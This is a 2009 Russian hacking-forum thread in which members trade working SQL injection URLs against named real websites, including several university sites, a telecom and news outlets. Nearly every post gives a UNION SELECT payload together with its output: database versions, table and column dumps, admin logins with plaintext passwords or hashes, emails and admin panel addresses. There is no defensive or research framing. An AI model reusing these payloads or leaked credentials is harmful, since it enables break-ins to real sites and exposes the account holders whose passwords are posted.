HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 26.05.2009, 23:51
Dagon
Познающий
Регистрация: 27.03.2006
Сообщений: 86
Провел на форуме:
972602

Репутация: 52
По умолчанию

http://bess.rutgers.edu/members.php?id=-1%20union%20select%201,concat(login,666,password), 3,4,5,6,7,8,9,1,1,1,1,1,1,1,1%20from%20users/*
 
Ответить с цитированием

  #2  
Старый 26.05.2009, 23:55
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


По умолчанию

Код:
http://chel.ru/rich/rich.php?cmd=show&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7--
business_74@10.80.12.203:business_74:5.0.51b-log
 
Ответить с цитированием

  #3  
Старый 27.05.2009, 00:17
Krist_ALL
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме:
1996429

Репутация: 468


По умолчанию

PR 5

Цитата:
http://www.tyf.org.tr/news.php?id=-578+union+select+concat_ws(0x3a,user(),version(),d atabase())+
таблица administreator - name,password

4я версия БД.
 
Ответить с цитированием

  #4  
Старый 27.05.2009, 00:37
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
По умолчанию

PR6
http://www.icts.sbg.ac.at/content.php?m_id=1012&id=-1012+union+select+table_name,2,3+from+information_ schema.tables+--+&newsdetail=565&ch_id=
Вывод не нашёл(

PR5
http://www.niqash.org/content.php?contentTypeID=28&id=2443+union+select+ 1,2,unhex(hex(group_concat(column_name))),4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26,27,28,29,30,31,32+from+information_schema.col umns+where+table_name=0x75736572+--+&lang=0http://www.niqash.org/content.php?contentTypeID=28&id=2443+union+select+ 1,2,unhex(hex(name)),4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2+from+user+--+&lang=0
http://www.niqash.org/content.php?contentTypeID=28&id=2443+union+select+ 1,2,unhex(hex(name)),4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2+from+user+--+&lang=0

PR7))
http://www.spacefoundation.org/education/content.php?id=-730'+union+select+table_name+from+information_sche ma.tables+limit+385,1000+--+
kevin@spacefoundation.org::a54171496ecd067b6731696 389f30621 - redarmy
 
Ответить с цитированием

  #5  
Старый 27.05.2009, 01:10
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию

http://www.presidency.ucsb.edu/mediaplay.php?id=8032&admin=-35+union+select+1--

Google PR: 7

Databaseresidency00
information_schema
presidency00

Tables:
Код HTML:
            2008_democratic
	2008_general
	2008_republican
	BACK_approval_27Feb09
	BACK_papers_19April09
	ELECTION_INFO
	PS157
	PS157_DATA
	PS157_DOCS
	VICEPRESIDENTS
	campaignevents
	congress
	data_approval
	data_debates
	data_elections
	data_popularity
	debates_temp
	digest
	dwstats_2004
	dwstats_2005
	dwstats_2006
	dwstats_2007
	dwstats_2008_JantoJune
	dwstats_stats
	dwstats_stats_TEMP
	edit
	initiatives
	locations
	obst_actors
	obst_docs
	obst_doctypes
	obst_news
	obst_periods
	obst_questions
	obst_timeline
	papers
	papers42
	papers_2008_clinton
	papers_2008_dodd
	papers_2008_edwards
	papers_2008_giuliani
	papers_2008_huckabee
	papers_2008_mccain
	papers_2008_obama
	papers_2008_richardson
	papers_2008_romney
	papers_2008_thompson
	papers_campaigns
	papers_debates
	papers_determinations
	papers_duplicates
	papers_eos
	papers_excludes
	papers_images
	papers_lincoln
	papers_others
	papers_procs
	papers_releases
	papers_signstate
	papers_types
	papersearch
	paperslee
	papersoral
	papersoralex
	papersother
	paperstest
	paperswritten
	paperswrittenex
	permissions
	presidents
	stats_terms
	typos
	vietnamdocs
------------------------------------------------
http://www.actcm.edu/news.php?topmenu=8&root=8&id=-527+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19--

pr 5

Database:actcm1_actcm

information_schema
actcm1_actcm

Tables:
Код HTML:
admin
admin
alumni
content_pages
content_to_event
customer
customer_detail
events
medianame
mediatype
news
student
subscriber
Columns: Table admin
Код HTML:
username
password
logintimes
lastlogin
email
firstname
lastname
phone
access_1
access_2
access_3
access_4
access_5
access_6
access_7
access_8
access_9
access_10
access_11
access_12
access_13
access_14
access_15
access_16
access_17
created
http://www.actcm.edu/admin
usernameassword:
Webmaster:goldenkey

Последний раз редактировалось SWAT; 27.05.2009 в 02:14..
 
Ответить с цитированием

  #6  
Старый 27.05.2009, 12:33
pelligrim
Познающий
Регистрация: 26.04.2008
Сообщений: 31
Провел на форуме:
31474

Репутация: 53
По умолчанию

1.
Код HTML:
http://venturemyr.amt.kiev.ua/main/news/view?news_id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8/*
5.0.41-Debian_1:venturemyr:venturemyr@localhost

2.
Код HTML:
http://www.bsnl.co.in/newsdetailed.php?news_id=-362+union+select+1,concat_ws(0x3a,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
4.1.9-standard:bsnl:intranetuser@bgl-clu-whuxap

есть табла user
Цитата:
http://www.bsnl.co.in/newsdetailed.php?news_id=-362+union+select+1,concat_ws(0x3a3a,cast(user_id+a s+binary),cast(password+as+binary)),cast(version() +as+binary),4,5,6,7,8,9,10,11,12,13,14,15,16,17+fr om+user/*
vivek:nly123

3. Охр. орг. Арсенал
Код HTML:
http://www.arcenal.com.ua/?action=gallery&id=18+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*
5.0.45-log:arcenal_arcenal:arcenal_arcenal@s8

4. Газета "Гривна"
Код HTML:
http://www.grivna.ks.ua/arhiv/text.php?id=-27469+union+select+1,2,3,4,5,6,7,concat_ws(0x3a3a,version(),database(),user()),9,10,11--
5.0.51a-24:grivnaku_grivna:grivnaku_gr@localhost
 
Ответить с цитированием

  #7  
Старый 27.05.2009, 14:04
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PR 7

http://ls.berkeley.edu/dept/german/newsevents/showevent.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database( ),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26--&type=C

germanadm@localhost:german:4.1.22-log
 
Ответить с цитированием

  #8  
Старый 27.05.2009, 14:44
udman
Постоянный
Регистрация: 21.04.2009
Сообщений: 321
Провел на форуме:
785842

Репутация: 239
По умолчанию

Цитата:
http://altalabs.ru/articles/?news_id=-81+UNION+SELECT+0,co ncat_ws(0x0b,user(),database(),versio n()),2+--+
altalabs_icestud@localhost
altalabs_altalabsnew
5.0.77-community
 
Ответить с цитированием

  #9  
Старый 27.05.2009, 15:29
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
По умолчанию

http://game.dayoo.com/content.php?id=-33781+union+select+1,name,password,4,5,6,7,8,9+fro m+user+limit+1,1+--+
check:check

http://www.npla.de/onda/content.php?id=-406+union+select+1,concat_ws(0x3a3a,primary_key,us er,password,userlevel,radio,email),3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+fro m+tbl_user+--+
1::admin:arle::2::0::webmaster@npla.de
http://www.npla.de/onda/admin
 
Ответить с цитированием

  #10  
Старый 27.05.2009, 19:08
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
По умолчанию

PR5
http://www.mcn-inc.com/news_detail.php?id=-70+union+select+1,2,3,concat(username,0x3a3a,passw ord),5,6,7,8,9,10+from+users+/*+
janice::4a1269c30333bb446f84550d4da48d39

PR5
http://www.tar.gr/content/content.php?id=-1643+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16+/*+

http://opt.avapeter.ru/content.php?id=-216'+union+select+concat(user,0x3a,password)+from+ mysql.user+/*+

http://orbismirus.ru/php/content.php?group=506'+union+select+1,concat_ws(0x 3a3a,login,pass,group1,name,email),3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19+from+users+--+
orbis::m1rus09::0::Админ
Админку не нашёл((

Последний раз редактировалось DezMond™; 27.05.2009 в 19:34..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.